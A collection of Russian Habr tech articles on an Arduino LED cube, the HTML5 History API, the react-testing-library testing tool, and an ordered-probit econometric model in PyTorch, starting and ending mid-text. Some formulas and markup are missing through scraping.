void CUBE::send_data(char byte_to_send){
for(int i = 0; i < 8; i++){
if(byte_to_send & 0x01<
```
Использовал Arduino UNO (взял попользоваться), но здесь подойдет вообще любая модель. И nano, и mini, поскольку используются только 3 цифровых входа и vcc + gnd.
Отдельно позаботьтесь о блоке дополнительного питания (я использовал адаптер 12V 2A), для отображения всех слоев кажется ток именно такой силы и нужен.
Весь исходный код в виде скетча для Arduino будет [здесь](http://hownottoengineer.com/projects/downloads/led_cube/lc_test2.pde).
* Такую вещь можно сделать самому за неделю, главное купить все компоненты;
* Можно поставить доп. модуль часов реального времени, и этот куб будет работать без подсоединения к ПК;
* Можно, конечно, кастомизировать данный предмет различными кнопочками и радиоуправлениями, но я не стал;
* Потренеровавшись на таком варианте «попроще», планирую в скором времени собрать RGB куб.
Выражается огромная благодарность автору данной идеи и духовному лидеру Nick`у Shulze. Материалы взяты с сайта hownottoengineer.com. Всем удачи и успехов во всех творческих начинаниях! | https://habr.com/ru/post/357934/ | null | ru | null |
# Введение в HTML5 History API
До появления HTML5 единственное, что мы не могли контролировать и управлять (без перезагрузки контента или хаков с location.hash) — это история одного таба. С появлением [HTML5 history API](http://dev.w3.org/html5/spec/history.html) все изменилось — теперь мы можем гулять по истории (раньше тоже могли), добавлять элементы в историю, реагировать на переходы по истории и другие полезности. В этой статье мы рассмотрим HTML5 History API и напишем простой пример, иллюстрирующий его возможности.
#### Основные понятия и синтаксис
History API опирается на один DOM интерфейс — объект History. Каждый таб имеет уникальный объект History, который находится в `window.history`. History имеет несколько методов, событий и свойств, которыми мы можем управлять из JavaScript. Каждая страница таба(Document object) представляет собой объект коллекции History. Каждый элемент истории состоит из URL и/или объекта состояния (state object), может иметь заголовок (title), Document object, данные форм, позиция скролла и другую информацию, связанную со страницей.
Основные методы объекта History:
1. `window.history.length`: Количество записей в текущей сессии истории
2. `window.history.state`: Возвращает текущий объект истории
3. `window.history.go(n)`: Метод, позволяющий гулять по истории. В качестве аргумента передается смещение, относительно текущей позиции. Если передан 0, то будет обновлена текущая страница. Если индекс выходит за пределы истории, то ничего не произойдет.
4. `window.history.back()`: Метод, идентичный вызову `go(-1)`
5. `window.history.forward()`: Метод, идентичный вызову `go(1)`
6. `window.history.pushState(data, title [, url])`: Добавляет элемент истории.
7. `window.history.replaceState(data, title [, url])`: Обновляет текущий элемент истории
Для перехода на 2 шага назад по истории можно использовать:
```
history.go(-2)
```
Для добавления элементов истории мы можем использовать `history.pushState`:
```
history.pushState({foo: 'bar'}, 'Title', '/baz.html')
```
Для изменения записи истории мы можем использовать `history.replaceState`:
```
history.replaceState({foo: 'bat'}, 'New Title')
```
#### Живой пример
Теперь мы знаем основы, давайте посмотрим на живой пример. Мы будем делать веб файловый менеджер, который позволит вам найти URI выбранного изображения([посмотрите то, что получится в конце](http://people.opera.com/miket/2011/6/viewer.html)). Файловый менеджер использует простую файловую структуру, написанную на JavaScript. Когда вы выбираете файл или папку картинка динамически обновляется.
Мы используем `data-*` атрибуты для хранения заголовка каждой картинки и используем свойство dataset для получения этого свойства:
```
- <crab2.png>
```
Чтобы все работало быстро мы подгружаем все картинки и обновляем атрибут `src` динамически. Это ускорение создает одну проблему — оно ломает кнопку назад, поэтому вы не можете переходить по картинками вперед или назад.
HTML5 history приходит на помощь! Каждый раз когда мы выбираем файл создается новая запись истории и `location` документа обновляется (оно содержит уникальный URL картинки). Это означает, что мы можем использовать кнопку назад для обхода наших изображений, в то время как в строке адреса у нас будет прямая ссылка на картинку, которую мы можем сохранить в закладки или отправить кому-либо.
#### Код
У нас есть 2 дива. Один содержит структуру папок, другой содержит текущую картинку. Все приложение управляется с помощью JavaScript. В будут освещены только самые важные моменты. [Исходный код примера](http://people.opera.com/miket/2011/6/app.js) очень короткий (порядка 80 строк) посмотрите [его](http://people.opera.com/miket/2011/6/app.js) после прочтения всей статьи.
Метод `bindEvents` навешивает обработчики для события `popstate`, который вызывается, когда пользователь переходит по истории и позволяет приложению обновлять свое состояние.
```
window.addEventListener('popstate', function(e){
self.loadImage(e.state.path, e.state.note);
}, false);
```
Объект `event`, который передается в обработчик события `popstate` имеет свойство `state` — это данные, которые мы передали в качестве первого аргумента `pushState` или `replaceState`.
Мы навешиваем обработчик на событие `click` на див, который представляет нашу файловую структуру. Используя делегацию событий, мы открываем или закрываем папку или загружаем картинку (с добавлением записи в историю). Мы смотрим на `className` родительского элемента для того, чтобы понять на какой из элементов мы нажали:
— Если это папка мы открываем или закрываем её
— Если это картина, то мы показываем её и добавляем элемент истории
```
dir.addEventListener('click', function(e){
e.preventDefault();
var f = e.target;
// Это папка
if (f.parentNode.classList.contains('folder')) {
// Открываем или закрываем папку
self.toggleFolders(f);
}
// Это картинка
else if (f.parentNode.classList.contains('photo')){
note = f.dataset ? f.dataset.note : f.getAttribute('data-note');
// отрисовываем картинку
self.loadImage(f.textContent, note);
// добавляем элемент истории
history.pushState({note: note, path:f.textContent}, '', f.textContent);
}
}, false);
```
Метод, который изменяет содержимое картинки и обновляет её подпись очень прост:
```
loadImage: function(path, note){
img.src = path;
h2.textContent = note;
}
```
Мы получили [простое приложение](http://people.opera.com/miket/2011/6/viewer.html), демонстрирующее возможности обновленного интерфейса объекта `History`. Мы используем `pushState` для добавления элемента истории и событие popstate для обновления содержимого страницы. Кроме этого при клике на картинку мы получаем в адресной строке её действительный адрес, который мы можем сохранить или отправить кому-нибудь.
#### Когда можно будет использовать?
Firefox 4+
Safari 5+
Chrome 10+
Opera 11.5+
iOS Safari 4.2+
Android 2.2+
IE ???
[Список браузеров](http://caniuse.com/#search=history), поддерживающих history API
#### Где это используется?
1. [Facebook](http://www.facebook.com/note.php?note_id=438532093919)
2. [Github](https://github.com/blog/760-the-tree-slider) — навигация по дереву проекта
3. ???
#### Почитать
1. [Manipulating History for Fun & Profit](http://diveintohtml5.org/history.html)
2. [WHATWG HTML5 history API](http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html)
3. [W3C history API Spec](http://dev.w3.org/html5/spec/history.html)
4. MDC [Manipulating the browser history](https://developer.mozilla.org/en/DOM/Manipulating_the_browser_history)
5. [History.js](https://github.com/balupton/History.js/) — скрипт эмулирует HTML5 history API(location.hash magic) в тех браузерх, которые его не поддерживают | https://habr.com/ru/post/123106/ | null | ru | null |
# Обзор библиотеки react-testing-library
В материале, перевод которого мы публикуем сегодня, Кент Доддс рассказывает о библиотеке собственной разработки для тестирования React-приложений, [react-testing-library](https://github.com/kentcdodds/react-testing-library), в которой он видит простой инструмент, способный заменить [enzyme](http://airbnb.io/enzyme/) и способствующий написанию качественных тестов с применением передовых наработок в этой области.
[](https://habrahabr.ru/company/ruvds/blog/353076/)
Автор материала говорит, что давно размышлял о чём-то подобном, и в итоге, примерно в середине прошлого месяца, [решил](https://twitter.com/kentcdodds/status/974278185540964352?ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Fblog.kentcdodds.com%2Fmedia%2Fbe99c7963bd007a10cdb030c10f46317%3FpostId%3De3a274307e65) заняться разработкой библиотеки для тестирования, которая его устраивала бы. В частности, в enzyme ему не нравилось то, что большинство возможностей этой библиотеки склоняют разработчика к не самым лучшим методам подготовки тестов, которые способны навредить проекту. В результате у него получился простой, но самодостаточный набор инструментов для тестирования React DOM.
Общие сведения о библиотеке react-testing-library
-------------------------------------------------
Предположим, вы собираетесь писать тесты для компонентов React. Вы хотите, чтобы эти тесты было удобно поддерживать. Кроме того, вам надо, чтобы тесты не опирались на детали реализации компонентов и испытывали компоненты в условиях, приближённых к реальным сценариям их использования. Кроме того, вы стремитесь к тому, чтобы тесты оставались бы рабочими в долгосрочной перспективе, то есть, хотите, чтобы рефакторинг компонентов (то есть — изменение их реализации, но не функционала) не нарушал бы систему тестирования и не заставлял бы вас или вашу команду постоянно переписывать тесты, замедляя работу над проектом.
Что выбрать для достижения этих целей? В нашем случае ответом на эти вопросы стала библиотека `react-testing-library`, минималистичное решение, предназначенное для тестирования компонентов React.
*Логотип react-testing-library*
Эта библиотека даёт разработчику простые инструменты, построенные на базе `react-dom` и `react-dom/test-utild`, причём, библиотека устроена так, чтобы тот, кто пользуется ей, без особых проблем применял бы в своей работе передовые практики тестирования. В основе `react-testing-library` лежит [следующ](https://twitter.com/kentcdodds/status/977018512689455106?ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Fblog.kentcdodds.com%2Fmedia%2Fa7c0bd4c78b2a36c7b9d996543a5d851%3FpostId%3De3a274307e65)ий принцип: чем больше процесс тестирования напоминает реальный сеанс работы с приложением — тем увереннее можно говорить о том, что, когда приложение попадёт в продакшн, оно будет работать так, как ожидается.
В результате вместо того, чтобы работать с экземплярами отрендеренных компонентов React, тесты будут взаимодействовать с реальными узлами DOM. Механизмы, предоставляемые библиотекой, выполняют обращения к DOM таким же образом, каким это бы делали пользователи проекта. Поиск элементов осуществляется по текстам их меток (так поступают и пользователи), поиск ссылок и кнопок так же происходит по их текстам (и это характерно для пользователей). Кроме того, здесь, в качестве «запасного выхода», есть возможность применять поиск элементов по `data-testid`. Это — распространённая практика, позволяющая работать с элементами, подписи которых не имеют смысла или непрактичны для данной цели.
Рассматриваемая библиотека способствует повышению доступности приложений, помогает приблизить тесты к реальным сценариям работы.
Библиотека `react-testing-library` является заменой для [enzyme](http://airbnb.io/enzyme/). Используя `enzyme`, можно следовать тем же принципам, которые заложены в рассматриваемой здесь библиотеке, но в этом случае их сложнее придерживаться из-за дополнительных средств, предоставляемых `enzyme` (то есть, всего того, что помогает в деталях реализации тестов). Подробности об этом можно почитать [здесь](https://github.com/kentcdodds/react-testing-library/blob/master/README.md#faq).
Кроме того, хотя `react-testing-library` предназначена для `react-dom`, она подходит и для React Native благодаря использованию этого небольшого [файла настроек](https://github.com/kentcdodds/react-testing-library/issues/22#issuecomment-376756260).
Сразу стоит сказать, о том, что эта библиотека не является средством для запуска тестов или фреймворком. Кроме того, она не привязана к некоему фреймворку для тестирования (хотя мы и рекомендуем Jest, но это всего лишь инструмент, которым мы предпочитаем пользоваться, в целом же библиотека будет работать с любым фреймворком и даже в среде [CodeSandbox](https://codesandbox.io/s/5z6x4r7n0p)!).
Практический пример
-------------------
Рассмотрим следующий код, демонстрирующий практический пример работы с `react-testing-library`.
```
import React from 'react'
import {render, Simulate, wait} from 'react-testing-library'
// Тут добавляется средство проверки ожиданий
import 'react-testing-library/extend-expect'
// Mock-объект находится в директории __mocks__
import axiosMock from 'axios'
import GreetingFetcher from '../greeting-fetcher'
test('displays greeting when clicking Load Greeting', async () => {
// Этап Arrange
axiosMock.get.mockImplementationOnce(({name}) =>
Promise.resolve({
data: {greeting: `Hello ${name}`}
})
)
const {
getByLabelText,
getByText,
getByTestId,
container
} = render()
// Этап Act
getByLabelText('name').value = 'Mary'
Simulate.click(getByText('Load Greeting'))
// Подождём разрешения mock-запроса `get`
// Эта конструкция будет ждать до тех пор, пока коллбэк не выдаст ошибку
await wait(() => getByTestId('greeting-text'))
// Этап Assert
expect(axiosMock.get).toHaveBeenCalledTimes(1)
expect(axiosMock.get).toHaveBeenCalledWith(url)
// собственный матчер!
expect(getByTestId('greeting-text')).toHaveTextContent(
'Hello Mary'
)
// снэпшоты отлично работают с обычными узлами DOM!
expect(container.firstChild).toMatchSnapshot()
})
```
Самое важное, что можно вынести из этого примера, заключается в том, что тесты напоминают работу с приложением реального пользователя.
Продолжим анализировать этот код.
`GreetingFletcher` может вывести некий HTML-код, например, такой:
```
Name
Load Greeting
```
При работе с этими элементами ожидается следующая последовательность действий: задать имя, щёлкнуть по кнопке `Load Greeting`, что вызовет запрос к серверу для загрузки некоего текста, в котором использовано заданное имя.
В тесте понадобится найти поле , в результате можно будет установить его параметр `value` в некое значение. Здравый смысл подсказывает, что тут можно использовать свойство `id` в CSS-селекторе: `#name-input`. Но так ли поступает пользователь для того, чтобы найти поле ввода? Определённо — не так! Пользователь смотрит на экран и находит поле с подписью `Name`, в которое он вводит данные. Поэтому именно так поступает наш тест с `getByLabelText`. Он обнаруживает элемент управления, основываясь на его метке.
Часто в тестах, созданных на основе `enzyme`, для поиска кнопки, например, с надписью `Load Greeting`, используется CSS-селектор или производится поиск по `displayName` конструктора компонента. Но когда пользователь хочет загрузить некий текст с сервера, он не думает о деталях реализации программы, вместо этого он ищет кнопку с надписью `Load Greetings` и щёлкает по ней. Именно это и делает наш тест с помощью вспомогательной функции `getByText`.
В дополнение к этому, конструкция `wait`, опять же, имитирует поведение пользователя. Тут организовано ожидание появления текста на экране. Система будет ждать столько, сколько нужно. В нашем тесте для этого используется mock-объект, поэтому вывод текста происходит практически мгновенно. Но наш тест не заботится о том, сколько времени это займёт. Нам не нужно использовать в тесте `setTimeout` или что-то подобное.
Мы просто сообщаем тесту: «Подожди появления узла greeting-text». Обратите внимание на то, что в данном случае используется атрибут `data-testid`, тот самый «запасной выход», применяемый в ситуациях, когда искать элементы, пользуясь каким-то другим механизмом, не имеет смысла. В подобных случаях `data-testid` [определённо лучше](https://blog.kentcdodds.com/making-your-ui-tests-resilient-to-change-d37a6ee37269), чем альтернативные методы.
Общий обзор API
---------------
В самом начале библиотека давала разработчику лишь метод `queryByTestId`. Почитать об этом можно [здесь](https://blog.kentcdodds.com/making-your-ui-tests-resilient-to-change-d37a6ee37269). Однако, благодаря отклику на вышеупомянутую публикацию и этому фантастическому [выступлени](https://www.youtube.com/watch?v=qfnkDyHVJzs&feature=youtu.be&t=5h39m19s)ю, в библиотеку были добавлены дополнительные методы.
Подробности о библиотеке и о её API можно почитать в [официальной документации](https://github.com/kentcdodds/react-testing-library). Здесь же приведён общий обзор её возможностей.
* [Simulate](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#simulate) — реэкспорт из вспомогательного средства [Simulate](https://reactjs.org/docs/test-utils.html#simulate) `react-dom/test-utils`.
* [wait](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#wait) — позволяет организовать в тестах ожидание в течение неопределённого периода времени. Обычно следует применять mock-объекты для [запросов](https://github.com/kentcdodds/react-testing-library/blob/master/src/__tests__/fetch.js) к API или [анимаций](https://github.com/kentcdodds/react-testing-library/blob/master/src/__tests__/mock.react-transition-group.js), но даже при работе с немедленно разрешаемыми промисами, нужно, чтобы тесты ждали следующего тика цикла событий. Метод `wait` отлично для этого подходит. (Огромное спасибо Лукашу Гандецки, который [предложил](https://github.com/kentcdodds/react-testing-library/issues/21) это в качестве замены для API `flushPromises`, которое теперь считается устаревшим).
* [render](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#render): тут скрыта вся суть библиотеки. На самом деле, это — довольно простая функция. Она создаёт элемент `div` с помощью `document.createElement`, затем использует `ReactDOM.render` для вывода данных в этот `div`.
Функция `render` возвращает следующие объекты и вспомогательные функции:
* [container](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#container): элемент `div`, в который был выведен компонент.
* [unmount](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#unmount): простая обёртка вокруг `ReactDOM.unmountComponentAtNode` для размонтирования компонента (например, для упрощения тестирования `componentWillUnmount`).
* [getByLabelText](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#getbylabeltexttext-textmatch-options-selector-string---htmlelement): получает элемент управления формы, основываясь на его метке.
* [getByPlaceholderText](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#getbyplaceholdertexttext-textmatch-htmlelement): плейсхолдеры — это не слишком хорошие альтернативы меткам, но если это имеет смысл в конкретной ситуации, можно воспользоваться и ими.
* [getByText](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#getbytexttext-textmatch-htmlelement): получает элемент по его текстовому содержимому.
* [getByAltText](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#getbyalttexttext-textmatch-htmlelement): получает элемент (вроде ) по значению его атрибута `alt`.
* [getByTestId](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#getbytestidtext-textmatch-htmlelement): получает элемент по его атрибуту `data-testid`.
Каждый из этих вспомогательных get-методов выводит информативное сообщение об ошибке если элемент найти не удаётся. Кроме того, тут имеется и набор аналогичных query-методов (вроде `queryByText`). Они, вместо выдачи ошибки при отсутствии элемента, возвращают `null`, что может быть полезно в случае, если нужно проверить DOM на отсутствие элемента.
Кроме того, этим методам, для поиска нужного элемента, можно передавать следующее:
* Нечувствительную к регистру строку: например, `lo world` будет соответствовать `Hello World`.
* Регулярное выражение: например, `/^Hello World$/` будет соответствовать `Hello World`.
* Функцию, которая принимает текст и элемент: например, использование функции `(text, el) => el.tagName === 'SPAN' && text.startsWith('Hello')` приведёт к выбору элемента `span`, текстовое содержимое которого начинается с `Hello`.
Надо отметить, что благодаря [Энто Райену](https://github.com/antoaravinth) в библиотеке имеются собственные матчеры для Jest.
* [toBeInTheDOM](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#tobeinthedom): проверяет, присутствует ли элемент в DOM.
* [toHaveTextContent](https://github.com/kentcdodds/react-testing-library/blob/fd2df8d18652786a95bce34741180137f9d2cef2/README.md#tohavetextcontent): проверяет, имеется ли в заданном элементе текстовое содержимое.
Итоги
-----
Основная особенность библиотеки `react-testing-library` заключается в том, что у неё нет вспомогательных методов, которые позволяют тестировать детали реализации компонентов. Она направлена на разработку тестов, которые способствуют применению передовых практик в области тестирования и разработки ПО. Надеемся, библиотека [react-testing-library](https://github.com/kentcdodds/react-testing-library) вам пригодится.
**Уважаемые читатели!** Планируете ли вы использовать react-testing-library в своих проектах?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/353076/ | null | ru | null |
# Cross-nested ordered probit: мой первый разработческий проект, ML и эконометрика
В далёком 2014 я ещё учился на экономиста, но уже очень мечтал уйти в анализ данных. И когда мне предложили выполнить мой первый платный разработческий проект для моего университета, я был счастлив. Проект заключался в написании кода эконометрической модели для пакета Stata. Стату я с тех пор люто возненавидел, но сам проект научил меня многому.
В этом посте я расскажу про Cross-Nested Ordered Probit, забавную модель для предсказания порядковых величин, покажу её код на PyTorch, и порассуждаю о различиях и сходствах машинного обучения и эконометрики.
В этом посте я рассказываю об эконометрике в целом, повествую о тормозном ходе своего проекта, показываю устройство модели CNOP, и пытаюсь сделать выводы из всего этого. Если вас интересует в первую очередь модель, переходите сразу к третьей секции. Если же, наоборот, вас не интересует математика и код, смело пропускайте эту секцию.
1. [Об эконометрике](#econometrics)
2. [О проекте](#project)
3. [О модели](#model)
1. [Ordered Probit](#oprobit)
2. [Cross-Nested](#cross-nested)
3. [P-values и вторая производная](#pvalues)
4. [О жизни](#learnings)
В разделе про модель я привожу её код на питонячьем фреймворке PyTorch. Если вы эконометрист и привыкли работать в Stata, я надеюсь показать вам, что Python тоже удобный. Если вы MLщик и привыкли к PyTorch, возможно, вам покажутся интересными пара статистических трюков.
Об эконометрике
---------------
Эконометрика – это наука о применении статистических методов к экономическим данным. В самом начале XX века сформировалась современная статистика как наука: корреляции, проверки гипотез, метод максимального правдоподобия, всё вот это вот. Где-то в 30-х годах экономисты начали активно применять статистику для ответа на важные экономические вопросы типа "на сколько центов растёт ВВП страны при увеличении государственных расходов на один доллар?" или "влияет ли ключевая ставка центрального банка на совокупный объем инвестиций в стране?". Для этого обычно строили линейные регрессии с экономическими переменными, а потом применяли к их коэффициентам статистические тесты, например, чтобы проверить, действительно ли влияние ненулевое. За почти столетие разнообразие и сложность эконометрических моделей выросли, и современные крутые экономисты обосновывают ими свои теории. Иногда эконометрика применяется и на практике – например, в том же ЦБ.
Машинное обучение тоже выросло из статистических методов, но независимо от эконометрики – его создали в 50-х годах инженеры и программисты. Стартовав с той же позиции, что и эконометрика, ML пошло по иному пути. Эконометрика заботится о том, чтобы внутренняя структура модели максимально соответствовала реальности, и пытается делать выводы о мире из коэффициентов модели, подкрепляя их статистическими тестами и вдумчивым выбором переменных. Машинное обучение устроено более прагматично, там основная цель - чтобы прогноз был как можно ближе к реальности, и это проверяется "в лоб" на тестовой выборке, а структура модели подбирается та, которая позволяет в итоге делать прогнозы более точными. В итоге эконометрист и MLщик могут обучить две модели с совершенно одинаковой математической составляющей, но сделать из них очень разные выводы.
О проекте
---------
**Фаза первая: взрыв энтузиазма.** Проект мне предложил Андрей, крутой препод-эконометрист. Модель CNOP придумал он в 2013 году ([статья](https://www.nbp.pl/publikacje/materialy_i_studia/148_en.pdf)), и он же написал код для неё и пары похожих в допотопной программулине Gauss. Моей задачей было переписать этот код на Stata, чтобы им могли пользоваться другие люди, и написать про это статью для Stata Journal. Я взялся за дело с радостью, тем более и деньги за проект предлагались приятные.
Программа Stata устроена довольно забавно. Её основной интерфейс построен на идее low-code: нужно или вводить в командной строке простенькие императивные команды типа `regress y x1 x2`, или накликивать эти же команды через последовательность диалоговых окон. Этому мы учились на парах по эконометрике. Но внутреннюю логику этих команд на языке Stata описать сложно: там даже простые циклы не очень очевидные, а для имплементации нужно работать с матрицами, применять алгоритмы оптимизации, и всё такое. Поэтому, оказывается, под капотом Статы есть ещё один язык программирования – Mata, что-то среднее между C и Matlab. И вот по этой самой Мате особо нет ресурсов в интернете – ни книг, ни блогпостов, ни ответов на Stackoverflow, только толстенький официальный мануал. И вот этот мануал я сел потихоньку осваивать.
Первые версии нескольких моделек у меня получилось запустить довольно быстро, и я дико радовался, что всё работает: функция правдоподобия максимизируется, параметры оцениваются, магия – вершится. Но вершилась она довольно медленно и бажно, Mata регулярно сыпала ошибками, которых не было ни в документации, ни в интернете. Никакого автодифференцирования в Мате, конечно же нет, и все градиенты, равно как и матрицы вторых производных, мне нужно было вычислять вручную – и я делал это с кучей тупых ошибок. В мануале был подробно описан синтаксис языка и возможности встроенных функций, но я нигде не мог найти примеры *проектов*: как отлаживать код, как писать юнит-тесты, как раскладывать код по файлам, чтобы им было удобно пользоваться, как правильно сшивать воедино интерфейсы Stata и Mata. Кажется, про это просто никто не думал. А я думал и постепенно приунывал.
**Фаза вторая: избегание**. Первые несколько месяцев я старательно работал над проектом, искал костыли для возникающих у меня проблем, и казалось, что горизонт близко – пофиксить ещё несколько багов, доделать ещё несколько фич, провести кучу разного тестирования с готовыми моделями, написать текст статьи... Но потом меня захватила иная жизнь: диплом, госы, военка, поступление в магистратуру и ШАД, стажировка в Питере – и проект оказался на заднем плане. У меня не было нормального решения для некоторых технических проблем и не было с кем проконсультироваться о них, и это демотивировало. Я продолбал сроки, когда можно было получить за проект оплату, и это меня демотивировало ещё больше. Мне хотелось выйти из этого проекта – мол, возись сам со своей Статой – но я не чувствовал морального права на это. Я начал игнорировать письма от Андрея и паниковать, когда он звонил мне на телефон. Иногда я находил время и садился сделать что-то по проекту, но в целом он скорее стоял, чем двигался. И так продолжалось несколько лет. Несколько грёбаных лет.
**Фаза третья: бесконечное доделывание**. Я ковырял что-то по этому проекту в 2015 году - и тогда он был уже почти годов. И в 2016. В 2017 мы всё-таки сели и проделали большое исследование нашего семейства моделек на синтетических данных – и обнаружили кучу новых проблем. К 2018 году мы их пофиксили и таки выложили [препринт](https://www.hse.ru/data/2018/05/30/1149326878/193EC2018.pdf) статьи. Это была моя первая настоящая научная публикация, и я по идее должен был чувствовать триумф, но я, конечно же, его не чувствовал. Потом временем ревьюеры из Stata Journal предложили несколько правок, и правки эти требовали изменений в коде. Я обещал внести эти изменения, и откладывал их до 2019 года. Ещё одна итерация ревью затянулась до середины 2020. В следующем номере Stata Journal статья должна наконец-то выйти, наверное. Если вы пользуетесь Stata и хотите применить её у себя, то код есть [в моём репозитории](https://github.com/avidale/cnop).
Почему я доделывал этот проект так медленно? Потому что у меня не было никакой мотивации с ним торопиться. Почему я его всё-таки доделал? Наверное, в первую очередь потому, что у меня не было нормального механизма для выхода из проекта, а оставлять проект навеки незавершённым мне не позволяла какое-то врождённое стремление к порядку. И вот ради этого непонятного абстрактного порядка я всё-таки выделил несколько десятков часов своей жизни на то чтобы сесть на задницу и завершить. И этот пост – последний мой шаг в завершении проекта.
О модели
--------
Изначально модель называлась Cross-Nested Ordered Probit, потом мы переименовали её в Zero Inflated Ordered Probit. Первое название мне кажется более информативным, и сейчас я попробую эту информацию расшифровать и проиллюстрировать кодом. Начнём с понятия Ordered.
### Ordered Probit
Типичнейшая задача эконометрики – регрессия, то есть предсказание чисто числовой величины. И обычно это линейная регрессия: прогноз величины  равен, где - матрица признаков,– вектор коэффициентов наклона, – свободный член. Реальные данные редко содержат идеально линейные зависимости, и почти всегда остатки , то есть разница между фактом и прогнозом, ненулевые. В эконометрике обычно делают допущение, что у правильно подобранной модели эти остатки имеют нормальное распределение.
Картинка немного меняется, если мы решаем задачу классификации, то есть предсказание выбирается из конечного множества. Например, мы хотим угадать, какое образование у человека (среднее, высшее, или учёная степень), или хотим по тексту отзыва определить, какую оценку поставит клиент товару (от 1 до 5 звёздочек), или по экономическим показателям в стране мы хотим понять, как ЦБ изменит на ближайшем заседании ключевую ставку (оставит как есть, понизит на 0.25% или на 0.5%, или повысит на 0.25% или 0.5%). Классическая линейная регрессия тут не очень подходит, потому что остатки в ней будут иметь не нормальное, а непонятно какое распределение (а в случае с образованием вообще непонятно, как определить числовой. Можно решать эти задачи как стандартную классификацию, то есть предсказывать вероятности каждого исхода по отдельности. Самая простая модель для этого, множественная логистическая регрессия, считает вероятность класса прямо пропорциональной (экспонента нужна, чтобы вероятности были неотрицательными). Это неплохо, но теперь для каждого класса нужно выучивать свои коэффициенты наклона, и если обучающих данных мало, может получиться не очень хорошо. Чтобы побороть эту проблему, и придумали порядковые модели: что-то промежуточное между регрессией и классификацией.
Работает порядковая модель так. У нас по-прежнему есть единый скор , но мы пытаемся превратить его в вероятности каждого из дискретных классов, так, чтобы чем больше этот скор, тем вероятнее были бы "высокие" классы. Например, можно представить, что к этому скору снова добавляется нормально распределённая случайная величина , и от того, в какой диапазон попадёт сумма , и зависит итоговый выбранный класс.
 Получается, нам нужно выучить коэффициенты и ещё пороги , с помощью которых будет выбираться вероятность итогового класса . Задав модели такую структуру, мы, во-первых, сократили число обучаемых параметров (по сравнению с обычной многоклассовой классификацией), и во-вторых, придали модели полезный inductive bias: оценка "4" похожа на оценки "3" и "5", меньше похожа на "2", совсем не похожа на "1", и так далее. Собственно, такая модель и называется Ordered Probit. Ordered – потому что упорядоченная. Probit – потому что активационная функция строится на основе CDF нормального распределения.
Слой, который превращает скоры в вероятности, мог бы выглядеть во фреймворке PyTorch как-то так. Вектор `cutpoints` – это те самые пороги. Поскольку они должны идти строго по возрастанию, я параметризовал этот вектор: `bias`– это первый порог, `log_difs` – логарифмы (положительной) разности между парами последующих порогов. Вероятность попадания случайной величины между i-тым и i+1-ым порогами равна разности CDF нормального распределения на этих порогах.
```
import torch
import torch.nn as nn
class OrderedProbitHead(nn.Module):
""" A layer transforming a vector of hidden states into a matrix of probabilities.
Input size: [batch, 1]
Output size: [batch, levels]
"""
def __init__(self, levels):
super(OrderedProbitHead, self).__init__()
assert levels >= 3
self.levels = levels
self.bias = nn.Parameter(torch.randn(1))
self.log_difs = nn.Parameter(torch.randn(levels - 2))
self.activation = torch.distributions.normal.Normal(0, 1).cdf
@property
def cutpoints(self):
diffs = torch.cat([torch.tensor([0]), torch.exp(self.log_difs)], 0)
return self.bias + torch.cumsum(diffs, 0)
def forward(self, x):
cdfs = self.activation(self.cutpoints - x)
lhs = torch.cat([cdfs, torch.ones_like(x)], 1)
rhs = torch.cat([torch.zeros_like(x), cdfs], 1)
return lhs - rhs
```
Имея такой слой, можно собрать уже полноценную модельку для порядковой классификации:
```
class OrderedProbitModel(nn.Module):
""" A model transforming a vector of features into a matrix of probabilities
Input size: [batch, features]
Output size: [batch, levels]
"""
def __init__(self, features, levels, smoothing=1e-10):
super(OrderedProbitModel, self).__init__()
self.dense = nn.Linear(features, 1, bias=False)
self.head = OrderedProbitHead(levels)
self.smoothing = smoothing
def forward(self, x):
probas = self.head(self.dense(x))
if self.smoothing:
probas = (1 - self.smoothing) * probas + self.smoothing * torch.ones_like(probas) / self.levels
return probas
```
Чисто математически, CDF нормального распределения строго возрастает, поэтому все выходные вероятности должны получиться строго положительными. На практике, за счёт вычислительных округлений иногда на выходе получаются нули. Чтобы это не портило обучение, я добавляю ко всем вероятностям небольшое положительное число, параметр `smoothing`.
Попробуем обучить нашу модель на живых данных. Это решения американского Federal Open Market Committee об изменении процентной ставки за 20 лет. Хотим предсказывать изменение `rate_change` , опираясь на настрой предыдущего заседания `pb` разрыв между парой процентных ставок `spread` интенсивность жилищного строительства `houst`и темп прироста ВВП `gdp`. Целевую переменную перекодируем в шкалу от 1 до 5, где 1 и 2 – уменьшение ставки на 0.5% или 0.25%, 3 – ставка не меняется, 4 и 5 – ставка растёт на 0.25% или 0.5%.
```
import pandas as pd
url = 'https://github.com/avidale/cnop/blob/master/application/rate_change.dta?raw=true'
data = pd.read_stata(url)
data['target'] = data.rate_change.apply(lambda x: int(x * 4 + 2))
print(data.shape)
x = torch.tensor(data[['pb','spread','houst','gdp']].values)
y = torch.tensor(data.target)
data.sample(5)
```
Выглядят данные примерно так:
Пользуясь готовыми инструментами PyTorch, можно собрать функцию для обучения модели. Поскольку и модель, и обучающая выборка небольшие, я положу все данные в один батч, и буду использовать высокий learning rate. На 300 шагов обучения уходит около 6 секунд.
```
from tqdm.auto import tqdm, trange
def train(model, x, y, steps=300, lr=0.1, max_norm=1.0, wd=1e-6):
loss_fn = nn.CrossEntropyLoss()
